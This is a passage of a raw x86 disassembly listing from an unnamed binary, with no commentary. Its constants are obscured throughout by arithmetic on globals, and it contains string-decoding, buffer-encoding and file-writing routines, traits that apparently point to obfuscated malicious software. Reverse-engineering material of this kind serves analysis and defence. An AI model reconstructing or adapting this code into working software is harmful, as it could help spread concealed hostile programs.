7 mov edx, dword_551140 add edx, 0EA5Fh imul eax, edx push eax call ds:dword_50E924 pop ecx jmp short loc_43EDC9 sub_43EDC6 endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EDF9 proc near ; CODE XREF: sub_44250C+144p ; sub_443843+108p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, dword_551248 mov esi, eax add esi, dword_551188 sub esi, 9 jmp short loc_43EE49 ; --------------------------------------------------------------------------- loc_43EE14: ; CODE XREF: sub_43EDF9+53j call ds:dword_550040 mov edi, dword_5511A0 add edi, 53h movsx edx, word_5511A4 add edi, edx mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx add edi, eax mov edx, edi mov [ebx+esi], dl inc esi loc_43EE49: ; CODE XREF: sub_43EDF9+19j cmp esi, [ebp+arg_4] jl short loc_43EE14 mov eax, [ebp+arg_4] mov edx, dword_551230 add edx, dword_5510EC sub edx, 2 mov [ebx+eax], dl mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_43EDF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EE6A proc near ; DATA XREF: sub_446ED7+1A5o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi mov eax, [ebp+arg_4] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_44B5C8 pop edi pop ebp retn 10h sub_43EE6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EE88 proc near ; DATA XREF: .data:005512C0o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax mov eax, dword_5511DC add eax, 2 add eax, dword_5511C8 cmp ds:dword_44B5D0, eax jnb short loc_43EEBC mov eax, dword_5511B4 sub eax, 4 mov ds:dword_44B5D0, eax loc_43EEBC: ; CODE XREF: sub_43EE88+25j mov eax, dword_5511C0 mov edi, eax add edi, dword_5510E8 sub edi, 2 jmp short loc_43EEDA ; --------------------------------------------------------------------------- loc_43EECE: ; CODE XREF: sub_43EE88+64j lea ebx, ds:44A0E0h[edi*4] cmp esi, ebx jz short loc_43EEEE inc edi loc_43EEDA: ; CODE XREF: sub_43EE88+44j mov eax, dword_5511D4 add eax, 3DDh add eax, dword_551158 cmp edi, eax jb short loc_43EECE loc_43EEEE: ; CODE XREF: sub_43EE88+4Fj movsx eax, word_551138 movsx edx, word_551164 lea eax, [eax+edx+3E4h] cmp edi, eax jnz short loc_43EF0E xor eax, eax jmp loc_43F089 ; --------------------------------------------------------------------------- loc_43EF0E: ; CODE XREF: sub_43EE88+7Dj movzx esi, ds:word_48BA10[edi*2] mov ebx, dword_551214 add ebx, dword_5510E4 sub ebx, 7 cmp esi, ebx jnz short loc_43EF5F movzx eax, ds:byte_44B1B0[edi] push eax push ds:dword_449020[edi*4] call sub_440F1C add esp, 8 movsx esi, word_5511F0 add esi, dword_5510D8 sub esi, 0Ch mov ds:dword_44A0E0[edi*4], esi xor eax, eax jmp loc_43F089 ; --------------------------------------------------------------------------- loc_43EF5F: ; CODE XREF: sub_43EE88+9Fj movzx esi, ds:word_48BA10[edi*2] mov ebx, dword_5511D0 add ebx, 0FFF4h add ebx, dword_5511B4 cmp esi, ebx jnz loc_43F06A mov eax, dword_5510E8 movsx edx, word_5510CC add eax, edx sub eax, 2 mov [ebp+var_4], eax jmp loc_43F053 ; --------------------------------------------------------------------------- loc_43EF9A: ; CODE XREF: sub_43EE88+1D8j mov esi, [ebp+var_4] mov ebx, esi shl ebx, 2 mov edx, dword_5511D8 add edx, dword_5511D4 sub edx, 0Ch cmp ds:dword_44A0E0[ebx], edx jz loc_43F050 movzx edx, ds:word_48BA10[esi*2] mov ecx, dword_551110 add ecx, 0FFF6h movsx eax, word_551218 add ecx, eax cmp edx, ecx jz short loc_43F050 mov edx, ds:dword_449020[edi*4] cmp ds:dword_449020[ebx], edx jnz short loc_43F050 mov bl, ds:byte_44B1B0[esi] cmp bl, ds:byte_44B1B0[edi] jnz short loc_43F050 movzx esi, ds:word_48BA10[esi*2] mov ebx, dword_551184 sub ebx, 3 cmp esi, ebx jnz short loc_43F041 mov esi, [ebp+var_4] movzx ebx, ds:byte_44B1B0[esi] push ebx push ds:dword_449020[esi*4] call sub_440F1C add esp, 8 mov esi, dword_551234 sub esi, 8 mov ds:dword_44A0E0[edi*4], esi jmp short loc_43F066 ; --------------------------------------------------------------------------- loc_43F041: ; CODE XREF: sub_43EE88+18Aj mov esi, [ebp+var_4] lea esi, ds:48BA10h[esi*2] dec word ptr [esi] jmp short loc_43F066 ; --------------------------------------------------------------------------- loc_43F050: ; CODE XREF: sub_43EE88+130j ; sub_43EE88+155j ... inc [ebp+var_4] loc_43F053: ; CODE XREF: sub_43EE88+10Dj mov eax, dword_551170 add eax, 3E4h cmp [ebp+var_4], eax jb loc_43EF9A loc_43F066: ; CODE XREF: sub_43EE88+1B7j ; sub_43EE88+1C6j xor eax, eax jmp short loc_43F089 ; --------------------------------------------------------------------------- loc_43F06A: ; CODE XREF: sub_43EE88+F3j movzx esi, ds:word_48BA10[edi*2] mov ebx, dword_551248 sub ebx, 3 cmp esi, ebx jle short loc_43F087 dec ds:word_48BA10[edi*2] loc_43F087: ; CODE XREF: sub_43EE88+1F5j xor eax, eax loc_43F089: ; CODE XREF: sub_43EE88+81j ; sub_43EE88+D2j ... pop edi pop esi pop ebx leave retn 24h sub_43EE88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F090 proc near ; CODE XREF: sub_43E284+26p ; sub_443843+230p ... var_120A = byte ptr -120Ah var_110B = byte ptr -110Bh var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 120Ch call sub_4475B4 push ebx push esi push edi push offset byte_551EF3 call sub_43CAF7 push eax lea edi, [ebp+var_FFF] push edi call ds:dword_50E928 add esp, 0Ch mov eax, dword_551154 mov esi, eax add esi, dword_5511E0 sub esi, 0Ch jmp short loc_43F0ED ; --------------------------------------------------------------------------- loc_43F0CD: ; CODE XREF: sub_43F090+63j cmp [ebp+esi+var_FFF], 23h jnz short loc_43F0EC mov eax, dword_551188 add eax, dword_55112C sub eax, 0Dh mov [ebp+esi+var_FFF], al loc_43F0EC: ; CODE XREF: sub_43F090+45j inc esi loc_43F0ED: ; CODE XREF: sub_43F090+3Bj cmp esi, 0FFFh jb short loc_43F0CD movsx eax, word_551244 mov ebx, eax add ebx, dword_55112C sub ebx, 0Fh mov eax, dword_5511F8 movsx edx, word_5511A4 add eax, edx sub eax, 9 mov [ebp+var_1004], eax mov eax, dword_551200 sub eax, 5 cmp [ebp+arg_0], eax jnz short loc_43F18A loc_43F12B: ; CODE XREF: sub_43F090+F8j mov eax, [ebp+arg_4] cmp [ebp+var_1004], eax jnz short loc_43F14D lea eax, [ebp+ebx+var_FFF] push eax push offset dword_54E970 call sub_4475D4 jmp loc_43F3E5 ; --------------------------------------------------------------------------- loc_43F14D: ; CODE XREF: sub_43F090+A4j lea ecx, [ebp+ebx+var_FFF] or eax, 0FFFFFFFFh loc_43F157: ; CODE XREF: sub_43F090+CCj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F157 add ebx, eax add ebx, 1 inc [ebp+var_1004] movsx eax, [ebp+ebx+var_FFF] mov edx, dword_55120C add edx, dword_5511D8 sub edx, 8 cmp eax, edx jz loc_43F3E5 jmp short loc_43F12B ; --------------------------------------------------------------------------- loc_43F18A: ; CODE XREF: sub_43F090+99j movsx eax, word_551244 mov ebx, eax add ebx, dword_55115C sub ebx, 0Bh mov eax, dword_5512A0 mov [ebp+var_1008], eax movsx eax, word_551194 dec eax mov edx, [ebp+arg_0] movsx ecx, word_551094 sub ecx, 2 mov [edx+eax], cl mov eax, dword_5511B8 movsx edx, word_551128 add eax, edx sub eax, 9 mov [ebp+var_1004], eax loc_43F1D6: ; CODE XREF: sub_43F090+32Dj call ds:dword_550040 mov ecx, 14h cdq idiv ecx mov [ebp+var_100C], edx push offset dword_551EE8 call sub_43CAF7 push eax lea edi, [ebp+var_110B] push edi call sub_4475D4 lea eax, [ebp+ebx+var_FFF] push eax lea eax, [ebp+var_110B] push eax call ds:dword_44802C add esp, 0Ch mov eax, dword_55123C add eax, 2 cmp [ebp+var_100C], eax jnb loc_43F30B push [ebp+var_1008] lea eax, [ebp+var_120A] push eax call sub_445E8D movsx eax, word_551144 sub eax, 3 push eax lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call sub_43FE22 add esp, 14h mov edi, dword_5511D0 add edi, 0FFF4h add edi, dword_55121C cmp eax, edi jnz short loc_43F299 lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call ds:dword_44802C push offset byte_551EE3 call sub_43CAF7 push eax push [ebp+arg_0] call ds:dword_44802C add esp, 14h loc_43F299: ; CODE XREF: sub_43F090+1E0j mov eax, dword_55117C sub eax, 6 push eax lea eax, [ebp+var_120A] push eax push [ebp+arg_0] call sub_43FE22 add esp, 0Ch mov edi, dword_55118C add edi, 0FFFEh add edi, dword_55123C cmp eax, edi jnz short loc_43F305 push offset dword_551ED8 call sub_43CAF7 push eax push [ebp+arg_0] call ds:dword_44802C lea eax, [ebp+var_120A] push eax push [ebp+arg_0] call ds:dword_44802C push offset byte_551ED3 call sub_43CAF7 push eax push [ebp+arg_0] call ds:dword_44802C add esp, 20h loc_43F305: ; CODE XREF: sub_43F090+238j inc [ebp+var_1008] loc_43F30B: ; CODE XREF: sub_43F090+197j push [ebp+var_1004] call sub_43F7FF pop ecx mov [ebp+var_100C], eax movsx ecx, word_551128 add ecx, dword_551184 sub ecx, 7 cmp eax, ecx jnb short loc_43F385 movsx eax, word_5510D0 sub eax, 5 push eax lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call sub_43FE22 add esp, 0Ch mov edi, dword_5510DC add edi, 0FFFBh cmp eax, edi jnz short loc_43F385 lea eax, [ebp+var_110B] push eax push [ebp+arg_0] call ds:dword_44802C push offset word_551ECE call sub_43CAF7 push eax push [ebp+arg_0] call ds:dword_44802C add esp, 14h loc_43F385: ; CODE XREF: sub_43F090+29Fj ; sub_43F090+2CCj lea ecx, [ebp+ebx+var_FFF] or eax, 0FFFFFFFFh loc_43F38F: ; CODE XREF: sub_43F090+304j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F38F add ebx, eax inc [ebp+var_1004] add ebx, 1 movsx eax, [ebp+ebx+var_FFF] mov edx, dword_55111C movsx ecx, word_551240 add edx, ecx sub edx, 0Ah cmp eax, edx jnz loc_43F1D6 push offset byte_551EC9 call sub_43CAF7 push eax push [ebp+arg_0] call ds:dword_44802C add esp, 0Ch mov eax, [ebp+var_1008] mov dword_5512A0, eax loc_43F3E5: ; CODE XREF: sub_43F090+B8j ; sub_43F090+F2j pop edi pop esi pop ebx leave retn sub_43F090 endp ; =============== S U B R O U T I N E ======================================= sub_43F3EA proc near ; CODE XREF: sub_43D370+2Bp ; sub_43DA46+2Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov esi, [esp+0Ch+arg_0] mov edi, [esp+0Ch+arg_4] mov ecx, edi mov ebx, esi shl ebx, cl mov edx, dword_551174 add edx, 11h add edx, dword_551108 mov ecx, edx sub ecx, edi mov eax, esi shr eax, cl or ebx, eax mov eax, ebx pop edi pop esi pop ebx retn sub_43F3EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F41A proc near ; DATA XREF: sub_4424CE+1Do ; sub_443843+48o ... var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi push 61A80h push 40h call ds:dword_48B9EC mov ebx, eax push 493E0h push 40h call ds:dword_48B9EC mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 2 push eax push [ebp+var_4] call sub_4475D4 mov eax, [ebp+var_4] mov ecx, eax or eax, 0FFFFFFFFh loc_43F45C: ; CODE XREF: sub_43F41A+47j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F45C mov [ebp+var_8], eax mov edi, dword_5511D0 sub edi, 7 jmp short loc_43F4AC ; --------------------------------------------------------------------------- loc_43F471: ; CODE XREF: sub_43F41A+95j mov eax, edi add eax, [ebp+var_4] mov [ebp+var_118], eax movzx edx, byte ptr [eax] mov [ebp+var_120], edx mov eax, edi mov [ebp+var_11C], eax mul edi mov [ebp+var_124], eax mov eax, [ebp+var_120] mov edx, [ebp+var_124] add eax, edx mov edx, [ebp+var_118] mov [edx], al inc edi loc_43F4AC: ; CODE XREF: sub_43F41A+55j cmp edi, [ebp+var_8] jb short loc_43F471 movsx eax, word_55113C movsx edx, word_551148 lea eax, [eax+edx+61A76h] push eax push ebx push [ebp+var_8] push [ebp+var_4] call sub_442E73 add esp, 10h mov esi, dword_551090 sub esi, 4 jmp short loc_43F4F6 ; --------------------------------------------------------------------------- loc_43F4E1: ; CODE XREF: sub_43F41A+EAj cmp byte ptr [ebx+esi], 3Dh jnz short loc_43F4EB mov byte ptr [ebx+esi], 29h loc_43F4EB: ; CODE XREF: sub_43F41A+CBj cmp byte ptr [ebx+esi], 2Bh jnz short loc_43F4F5 mov byte ptr [ebx+esi], 28h loc_43F4F5: ; CODE XREF: sub_43F41A+D5j inc esi loc_43F4F6: ; CODE XREF: sub_43F41A+C5j mov ecx, ebx or eax, 0FFFFFFFFh loc_43F4FB: ; CODE XREF: sub_43F41A+E6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F4FB cmp esi, eax jb short loc_43F4E1 movsx eax, word_551198 add eax, dword_551090 sub eax, 5 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 4Bh jnz short loc_43F530 push offset dword_44B0A0 lea eax, [ebp+var_114] push eax call sub_4475D4 loc_43F530: ; CODE XREF: sub_43F41A+103j movsx eax, word_5511F0 sub eax, 6 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 44h jnz short loc_43F554 push offset dword_4CC440 lea eax, [ebp+var_114] push eax call sub_4475D4 loc_43F554: ; CODE XREF: sub_43F41A+127j movsx eax, word_551240 sub eax, 8 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 50h jnz short loc_43F599 push offset dword_4CD830 lea eax, [ebp+var_114] push eax call sub_4475D4 mov eax, dword_551228 sub eax, 7 push eax push ebx lea eax, [ebp+var_114] push eax call sub_441BFD add esp, 0Ch or eax, eax jnz loc_43F71B loc_43F599: ; CODE XREF: sub_43F41A+14Bj mov eax, dword_551090 add eax, dword_5510D4 sub eax, 9 push eax mov eax, dword_5510BC movsx edx, word_551118 add eax, edx sub eax, 8 push eax push 4 mov eax, dword_55122C sub eax, 7 push eax movsx eax, word_5511F0 sub eax, 6 push eax push 40000000h lea eax, [ebp+var_114] push eax call ds:dword_54FB18 mov [ebp+var_C], eax push 2 mov eax, dword_551090 sub eax, 4 push eax movsx eax, word_551138 movsx edx, word_5510D0 add eax, edx sub eax, 9 push eax push [ebp+var_C] call ds:dword_54FF30 push offset byte_551EC1 call sub_43CAF7 pop ecx movsx edx, word_551218 push edx lea edx, [ebp+var_10] push edx mov edx, dword_55124C movsx ecx, word_55113C add edx, ecx sub edx, 0Eh push edx push eax push [ebp+var_C] call ds:dword_54FF1C mov eax, dword_55114C movsx edx, word_5511A8 add eax, edx sub eax, 2 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 4Bh jnz short loc_43F68D push offset dword_551EBC call sub_43CAF7 pop ecx movsx edx, word_551148 dec edx push edx lea edx, [ebp+var_10] push edx mov edx, dword_551248 add edx, dword_551224 sub edx, 4 push edx push eax push [ebp+var_C] call ds:dword_54FF1C loc_43F68D: ; CODE XREF: sub_43F41A+23Fj mov eax, dword_551110 sub eax, 9 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 50h jnz short loc_43F6DA push offset byte_551EB7 call sub_43CAF7 pop ecx mov edx, dword_5511C0 movsx ecx, word_5510FC add edx, ecx sub edx, 3 push edx lea edx, [ebp+var_10] push edx mov edx, dword_5510E8 movsx ecx, word_551104 add edx, ecx push edx push eax push [ebp+var_C] call ds:dword_54FF1C loc_43F6DA: ; CODE XREF: sub_43F41A+282j mov ecx, ebx or eax, 0FFFFFFFFh loc_43F6DF: ; CODE XREF: sub_43F41A+2CAj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F6DF mov ecx, dword_551154 add ecx, dword_551204 sub ecx, 0Ah push ecx lea ecx, [ebp+var_10] push ecx mov ecx, dword_5511F8 sub ecx, 2 mov edx, eax add edx, ecx push edx push ebx push [ebp+var_C] call ds:dword_54FF1C push [ebp+var_C] call ds:dword_4CD948 loc_43F71B: ; CODE XREF: sub_43F41A+179j push [ebp+var_4] call ds:dword_44B5CC push ebx call ds:dword_44B5CC pop edi pop esi pop ebx leave retn sub_43F41A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F730 proc near ; CODE XREF: sub_43E7A3+Bp ; sub_43E7A3+20p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_551254 call ds:dword_44B1AC mov edi, eax pop edi pop ebp retn sub_43F730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F748 proc near ; CODE XREF: sub_43E652+10Ap ; sub_443B74+182p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi movsx eax, word_5510B4 movsx edx, word_5511A8 mov esi, eax add esi, edx sub esi, 5 lea eax, [ebp+var_4] push eax push offset dword_552A08 mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr ds:0[ebx] mov edi, eax mov eax, dword_551114 add eax, dword_5511D8 sub eax, 5 cmp edi, eax jz short loc_43F793 xor eax, eax jmp short loc_43F7FA ; --------------------------------------------------------------------------- loc_43F793: ; CODE XREF: sub_43F748+45j lea eax, [ebp+var_8] push eax push [ebp+arg_8] mov eax, [ebp+var_4] push eax mov ebx, [eax] call dword ptr [ebx+10h] mov edi, eax mov eax, dword_551090 add eax, dword_551108 sub eax, 0Ch cmp edi, eax jnz short loc_43F7EF push [ebp+arg_C] push [ebp+arg_4] mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+14h] mov edi, eax mov eax, dword_551224 movsx edx, word_551094 add eax, edx sub eax, 3 cmp edi, eax jnz short loc_43F7E6 mov esi, dword_5510F0 sub esi, 2 loc_43F7E6: ; CODE XREF: sub_43F748+93j mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43F7EF: ; CODE XREF: sub_43F748+6Dj mov eax, [ebp+var_4] push eax mov ebx, [eax] call dword ptr [ebx+8] mov eax, esi loc_43F7FA: ; CODE XREF: sub_43F748+49j pop edi pop esi pop ebx leave retn sub_43F748 endp ; =============== S U B R O U T I N E ======================================= sub_43F7FF proc near ; CODE XREF: sub_43F090+281p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov ecx, esi movsx eax, word_5510A8 add eax, dword_5510A4 cmp ecx, eax jge short loc_43F84C movsx eax, word_5510A8 add eax, dword_551154 sub eax, 3 imul ecx, eax mov eax, dword_5510D8 sub eax, 5 mov edx, esi add edx, eax mov eax, dword_5510A0 add eax, dword_55111C dec eax imul edx, eax sub ecx, edx jmp loc_43F98A ; --------------------------------------------------------------------------- loc_43F84C: ; CODE XREF: sub_43F7FF+16j dec ecx movsx eax, word_551210 add eax, 0Fh cmp ecx, eax jge short loc_43F87C mov eax, dword_551234 sub eax, 6 imul ecx, eax mov eax, ecx sub eax, esi mov edx, dword_5511AC add edx, 0Bh mov ecx, eax sub ecx, edx jmp loc_43F98A ; --------------------------------------------------------------------------- loc_43F87C: ; CODE XREF: sub_43F7FF+5Aj dec ecx movsx eax, word_5511F0 mov edx, dword_5511C8 lea eax, [eax+edx+14h] cmp ecx, eax jge short loc_43F8BA movsx eax, word_551194 add eax, dword_5511F4 sub eax, 7 imul ecx, eax mov eax, dword_551238 add eax, 3Ah add eax, dword_5511A0 sub ecx, eax jmp loc_43F98A ; --------------------------------------------------------------------------- loc_43F8BA: ; CODE XREF: sub_43F7FF+91j dec ecx mov eax, dword_55110C add eax, 22h cmp ecx, eax jge short loc_43F8E9 movsx eax, word_551208 add eax, dword_551150 sub eax, 3 imul ecx, eax mov eax, dword_551188 add eax, 41h sub ecx, eax jmp loc_43F98A ; --------------------------------------------------------------------------- loc_43F8E9: ; CODE XREF: sub_43F7FF+C6j dec ecx mov eax, dword_551180 add eax, 2Bh movsx edx, word_551194 add eax, edx cmp ecx, eax jge short loc_43F918 movsx eax, word_5511CC sub eax, 7 imul ecx, eax mov eax, dword_551158 add eax, 51h sub ecx, eax jmp short loc_43F98A ; --------------------------------------------------------------------------- loc_43F918: ; CODE XREF: sub_43F7FF+FEj dec ecx movsx eax, word_5510F4 mov edx, dword_551178 lea eax, [eax+edx+2Bh] cmp ecx, eax jge short loc_43F950 movsx eax, word_551148 movsx edx, word_551138 add eax, edx sub eax, 2 imul ecx, eax mov eax, dword_551168 add eax, 68h sub ecx, eax jmp short loc_43F98A ; --------------------------------------------------------------------------- loc_43F950: ; CODE XREF: sub_43F7FF+12Dj dec ecx mov eax, dword_551170 add eax, 35h cmp ecx, eax jge short loc_43F980 mov eax, dword_551130 add eax, dword_551160 sub eax, 6 imul ecx, eax mov eax, dword_5511D0 add eax, 68h add eax, dword_551130 sub ecx, eax jmp short loc_43F98A ; --------------------------------------------------------------------------- loc_43F980: ; CODE XREF: sub_43F7FF+15Cj mov eax, dword_5511EC add eax, 36h sub ecx, eax loc_43F98A: ; CODE XREF: sub_43F7FF+48j ; sub_43F7FF+78j ... mov eax, ecx pop esi retn sub_43F7FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F98E proc near ; CODE XREF: sub_442E73+54p ; sub_442E73+CEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_0] movzx ebx, byte ptr [eax] movsx eax, word_5510D0 mov edx, dword_551114 lea eax, [eax+edx+0F9h] imul ebx, eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+1] add ebx, eax movsx eax, word_551208 movsx edx, word_5510D0 lea eax, [eax+edx+0F9h] imul ebx, eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+2] add ebx, eax mov esi, dword_551150 sub esi, 4 jmp short loc_43FA32 ; --------------------------------------------------------------------------- loc_43F9E7: ; CODE XREF: sub_43F98E+B3j mov edi, dword_551100 sub edi, 6 sub edi, esi mov edx, [ebp+arg_4] mov [ebp+var_4], edx mov edx, ebx and edx, 8000003Fh jge short loc_43FA07 dec edx or edx, 0FFFFFFC0h inc edx loc_43FA07: ; CODE XREF: sub_43F98E+72j mov dl, ds:byte_54FF40[edx] mov ecx, [ebp+var_4] mov [ecx+edi], dl mov eax, ebx mov edi, dword_55115C add edi, 37h movsx edx, word_5510F8 mov ecx, edi add ecx, edx cdq idiv ecx mov ebx, eax add esi, 1 loc_43FA32: ; CODE XREF: sub_43F98E+57j movsx eax, word_5510FC add eax, dword_551124 cmp esi, eax jl short loc_43F9E7 pop edi pop esi pop ebx leave retn sub_43F98E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FA48 proc near ; CODE XREF: sub_43B5D8+93p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push edi mov edi, [ebp+arg_0] call sub_44322A or eax, eax jz short loc_43FA7E push dword_551288 push 1 push edi call ds:dword_54E968 mov [ebp+var_4], eax push dword_551288 push 4 push edi call ds:dword_54E968 mov [ebp+var_8], eax loc_43FA7E: ; CODE XREF: sub_43FA48+10j pop edi leave retn sub_43FA48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FA81 proc near ; DATA XREF: .data:off_5512A8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] push offset dword_552A98 push esi call ds:dword_50E93C or eax, eax jz short loc_43FAAD mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43FAFC ; --------------------------------------------------------------------------- loc_43FAAD: ; CODE XREF: sub_43FA81+1Aj push offset dword_552A18 push esi call ds:dword_50E93C or eax, eax jz short loc_43FACD mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43FAFC ; --------------------------------------------------------------------------- loc_43FACD: ; CODE XREF: sub_43FA81+3Aj push offset dword_5529F8 push esi call ds:dword_50E93C or eax, eax jz short loc_43FAED mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43FAFC ; --------------------------------------------------------------------------- loc_43FAED: ; CODE XREF: sub_43FA81+5Aj mov eax, dword_5510AC sub eax, 7 mov [edi], eax mov eax, 80004002h loc_43FAFC: ; CODE XREF: sub_43FA81+2Aj ; sub_43FA81+4Aj ... pop edi pop esi pop ebx pop ebp retn 0Ch sub_43FA81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FB03 proc near ; CODE XREF: sub_43E114+142p ; sub_43FB03+29Dp ... var_268 = byte ptr -268h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = word ptr -258h var_256 = word ptr -256h var_252 = word ptr -252h var_250 = word ptr -250h var_24E = word ptr -24Eh var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_8 = byte ptr 10h arg_18 = byte ptr 20h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 268h push ebx push esi push edi push 0 call ds:dword_50E924 xor ebx, ebx inc ebx push offset byte_551EAF call sub_43CAF7 push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50E928 add esp, 14h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CC228 mov [ebp+var_248], eax mov ecx, dword_5511B4 add ecx, dword_551158 sub ecx, 6 neg ecx cmp eax, ecx jnz loc_43FD54 mov eax, dword_551114 add eax, 3FDh add eax, dword_551168 cmp [ebp+arg_24], eax jnb short loc_43FB9C mov eax, dword_5511BC add eax, 97h movsx edx, word_5511E8 add eax, edx cmp [ebp+arg_24], eax jnz loc_43FE1D loc_43FB9C: ; CODE XREF: sub_43FB03+7Bj movsx eax, word_5510FC sub eax, 2 cmp [ebp+arg_20], eax ja loc_43FE1D movsx eax, word_551118 add eax, 30D38h cmp [ebp+arg_24], eax ja loc_43FE1D lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_8] push eax call ds:dword_54FB10 mov [ebp+var_260], eax mov eax, dword_5511F8 add eax, dword_551170 sub eax, 7 cmp [ebp+var_260], eax jge short loc_43FBFB lea edi, [ebp+var_268] lea esi, [ebp+arg_18] movsd movsd jmp short loc_43FC06 ; --------------------------------------------------------------------------- loc_43FBFB: ; CODE XREF: sub_43FB03+E9j lea edi, [ebp+var_268] lea esi, [ebp+arg_8] movsd movsd loc_43FC06: ; CODE XREF: sub_43FB03+F6j lea eax, [ebp+var_258] push eax lea eax, [ebp+var_268] push eax call ds:dword_54EA78 movsx eax, word_551190 movzx edx, [ebp+var_24E] movzx ecx, [ebp+var_250] mov esi, dword_551134 add esi, 3Ah imul ecx, esi add edx, ecx movzx ecx, [ebp+var_252] mov esi, dword_55117C add esi, 0Dh add esi, dword_551170 imul ecx, esi movsx esi, word_5511C4 mov edi, dword_551234 lea esi, [esi+edi+2Ch] imul ecx, esi add edx, ecx movzx ecx, [ebp+var_256] mov esi, dword_5510F0 add esi, 18h add esi, dword_551158 imul ecx, esi mov esi, eax add esi, 10h imul ecx, esi mov esi, dword_5511F8 add esi, 34h add esi, dword_551200 imul ecx, esi add edx, ecx movzx ecx, [ebp+var_258] mov esi, dword_5511B8 add esi, 4 add esi, dword_551184 imul ecx, esi mov esi, dword_551220 add esi, 1Ah movsx edi, word_5510F4 add esi, edi imul ecx, esi movsx esi, word_5510C4 lea eax, [eax+esi+0Ah] imul ecx, eax mov eax, dword_55123C add eax, 34h add eax, dword_5511A0 imul ecx, eax mov eax, edx add eax, ecx mov [ebp+var_25C], eax mov edx, ds:dword_448030 cmp eax, edx ja loc_43FE1D sub edx, eax mov eax, dword_5510D4 add eax, 8 movsx ecx, word_5511E8 add eax, ecx cmp edx, eax jnb loc_43FE1D mov eax, dword_5511BC add eax, 9Eh cmp [ebp+arg_24], eax jz short 